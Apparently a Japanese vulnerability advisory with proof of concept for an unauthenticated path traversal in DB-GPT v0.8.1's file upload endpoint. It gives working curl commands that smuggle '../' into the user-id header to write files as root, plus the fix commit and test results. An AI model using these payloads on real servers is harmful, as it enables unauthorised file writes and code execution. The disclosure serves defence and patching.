
CVE-2026-73034 — DB-GPT v0.8.1 の認証なしパストラバーサル → user-id ヘッダー経由で root として任意のファイル書き込み。検証済み + 修正差分
CVSS 9.8(緊急) · CWE-22 · GHSA/Issue #3104
DB-GPT v0.8.1 の POST /api/v1/python/file/upload は user-id HTTP ヘッダーを受け取り、それを
パスコンポーネントとしてそのまま使用します:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
認証はありません — ヘッダーが存在しない場合、アプリは user_id="001" と role="admin" にフォールバックします。user-id に ../ シーケンスを注入するとアップロードルートをエスケープでき、
認証されていないリモート攻撃者がコンテナプロセス(root)の書き込み可能な任意の場所に
任意のファイルを書き込める → RCE への直接的な経路になります
(webroot の 、cron ジョブ、 など)。
.pyauthorized_keys影響を受ける: DB-GPT ≤ v0.8.1
修正済み: v0.8.2+ — コミット e0c741bd2b5e521b128cffb3f68982dde3f7b359(_SAFE_USER_ID_RE
ホワイトリスト ^[A-Za-z0-9_\-]+$、アップロードディレクトリの封じ込めチェック、TOCTOU シンボリックリンク再チェックを追加)
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
注: FastAPI は user_id パラメーターを user-id HTTP ヘッダー(ハイフンであって、
アンダースコアではない)にマッピングします。
| テスト | 結果 |
|---|---|
コントロールアップロード(user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
エクスプロイト user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt 書き込み成功(root) |
エクスプロイト user-id: ../../../../root | ✅ /root/pwned_root.txt 書き込み成功 |
| 修正版ビルド(e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |
完全なスクリプト:poc_cve-2026-73034.sh(両方のエクスプロイト + コンテナ内検証 + 修正版ビルドとの
比較を実行)。